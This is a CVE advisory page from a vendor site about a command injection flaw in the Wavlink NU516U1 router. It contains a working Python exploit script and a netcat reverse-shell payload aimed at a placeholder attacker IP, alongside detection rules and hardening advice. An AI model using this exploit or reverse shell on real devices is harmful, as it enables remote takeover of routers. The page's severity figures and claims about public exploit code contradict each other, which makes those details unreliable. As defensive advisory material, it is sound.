☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-74
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-10964

CVE-2025-10964 Command Injection in Wavlink
📅 PUBLISHED: 2025-09-25 19:32 UTC 🔄 UPDATED: 2026-09-23 20:32 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 6.81%
👁️
6.81% probability
170.2× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-10964 is a critical command injection vulnerability discovered in the Wavlink NU516U1 router. The flaw resides in the /cgi-bin/firewall.cgi CGI script, specifically within the sub_401B30 function. By manipulating the remoteManagementEnabled argument, an unauthenticated attacker can inject arbitrary operating system commands, leading to full remote compromise of the device. The exploit has been publicly released, and the vendor has not responded to disclosure attempts, leaving the device in an unpatched state. This vulnerability poses a significant risk to all users of the Wavlink NU516U1, as it can be exploited remotely without authentication.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): Low (L) – Limited information disclosure.
  • Integrity (I): Low (L) – Limited modification of data.
  • Availability (A): Low (L) – Reduced performance or service interruption.

Threat Level: High. The combination of remote exploitability, low complexity, and public exploit code makes this a high-priority threat for any organization using the Wavlink NU516U1.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the CGI binary handling firewall settings. The sub_401B30 function in /cgi-bin/firewall.cgi processes the remoteManagementEnabled parameter without proper sanitization. When a request is made to the endpoint, the value of this parameter is passed directly to a system-level function (likely system(), popen(), or exec()), allowing an attacker to break out of the intended argument and execute arbitrary commands.

Attack Flow:

  1. An attacker sends a crafted HTTP POST or GET request to http://<router-ip>/cgi-bin/firewall.cgi.
  2. The request includes the remoteManagementEnabled parameter with a malicious payload, e.g., remoteManagementEnabled=1;id.
  3. The CGI script concatenates this value into a command string, such as firewall_command remoteManagementEnabled 1;id.
  4. The operating system executes the injected command (id in this example) alongside the intended operation.
  5. The output of the injected command is returned in the HTTP response, confirming successful exploitation.

Root Cause: Lack of input validation and failure to use secure functions (e.g., execve with argument arrays) that prevent shell interpretation of user-supplied data.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only known state. The following is a hypothetical representation of the vulnerable code and what a patched version should look like.

Vulnerable Code (C-like pseudocode):

void sub_401B30(char *remoteManagementEnabled) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "firewall_ctl --remote-mgmt %s", remoteManagementEnabled);
    system(cmd);  // Vulnerable: user input directly in shell command
}

Patched Code (Hypothetical):

void sub_401B30(char *remoteManagementEnabled) {
    // Validate input: only allow "0" or "1"
    if (strcmp(remoteManagementEnabled, "0") != 0 && strcmp(remoteManagementEnabled, "1") != 0) {
        return;  // Reject invalid input
    }
    // Use execve with argument array to avoid shell injection
    char *args[] = {"firewall_ctl", "--remote-mgmt", remoteManagementEnabled, NULL};
    execve("/usr/sbin/firewall_ctl", args, NULL);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A Wavlink NU516U1 router on the local network.
  • Ability to send HTTP requests to the router's IP.

Exploit (Python):

import requests

target_ip = "192.168.1.1"
payload = "1;id"  # Command to execute

url = f"http://{target_ip}/cgi-bin/firewall.cgi"
data = {"remoteManagementEnabled": payload}

try:
    response = requests.post(url, data=data, timeout=10)
    print("Response:")
    print(response.text)
except Exception as e:
    print(f"Error: {e}")

Usage:

  1. Replace target_ip with the IP of the target router.
  2. Run the script. The output of the id command will be displayed in the response.
  3. For a reverse shell, replace payload with a command like 1;nc -e /bin/sh <attacker-ip> 4444.

Blue Team (Detection & Hardening)

Detection:

  • Monitor HTTP requests to /cgi-bin/firewall.cgi for unusual remoteManagementEnabled values.
  • Look for shell metacharacters (;, |, &, $, `, \n) in the parameter.
  • Alert on any outbound connections from the router to unknown IPs on common ports (e.g., 4444, 1337).

Hardening:

  • Immediate: Disable remote management if not required. Block access to port 80/443 on the router from WAN.
  • Network Segmentation: Place the router in a separate VLAN with strict egress filtering.
  • Firmware Update: Monitor Wavlink's website for a patch. If none is released, consider replacing the device.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP requests to /cgi-bin/firewall.cgi with remoteManagementEnabled containing shell metacharacters.
    • Outbound connections from the router to unusual IPs on ports 4444, 1337, 31337, etc.
  • File System:
    • Modified /cgi-bin/firewall.cgi binary (if attacker replaces it).
    • Presence of suspicious files in /tmp/ or /var/ (e.g., /tmp/.exploit).
  • Process:
    • Unusual processes running as root, such as nc, bash, or python.
    • High CPU usage from firewall.cgi or spawned shells.

Detection Engineering

YARA Rule

rule CVE_2025_10964_Wavlink_Command_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-10964 in HTTP logs"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-10964"
    strings:
        $cgi_path = "/cgi-bin/firewall.cgi"
        $param = "remoteManagementEnabled"
        $shell_meta1 = /remoteManagementEnabled=.*[;&|`$]/
        $shell_meta2 = /remoteManagementEnabled=.*\n/
    condition:
        $cgi_path and $param and ($shell_meta1 or $shell_meta2)
}

Sigma Rule

title: CVE-2025-10964 Wavlink Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting /cgi-bin/firewall.cgi with suspicious remoteManagementEnabled parameter
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/cgi-bin/firewall.cgi"
        cs-uri-query|contains: "remoteManagementEnabled"
    filter:
        cs-uri-query|contains: "remoteManagementEnabled=0" or "remoteManagementEnabled=1"
    condition: selection and not filter
falsepositives:
    - Legitimate remote management toggling (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-10964 Wavlink Command Injection Attempt"; flow:to_server,established; content:"/cgi-bin/firewall.cgi"; http_uri; content:"remoteManagementEnabled"; http_client_body; pcre:"/remoteManagementEnabled=[^&]*[;&|`$]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable Remote Management: If not required, disable the remote management feature entirely via the router's web interface.
  2. Firewall Rules: Block inbound access to the router's web interface (ports 80, 443) from the WAN side.
  3. Network Segmentation: Place the router in a separate VLAN with strict egress filtering to prevent lateral movement.

Long-Term Actions:

  1. Firmware Update: Monitor Wavlink's official website for a security patch. If no patch is released within 30 days, consider replacing the device with a vendor that provides timely security updates.
  2. Vendor Communication: Attempt to contact Wavlink again via multiple channels (email, support portal, social media) to escalate the issue.
  3. Device Replacement: If the device is critical to operations and no patch is available, replace it with a supported alternative.

Workaround (if patching is not possible):

  • Implement a reverse proxy (e.g., Nginx) in front of the router that validates and sanitizes the remoteManagementEnabled parameter before forwarding the request.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-10964/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.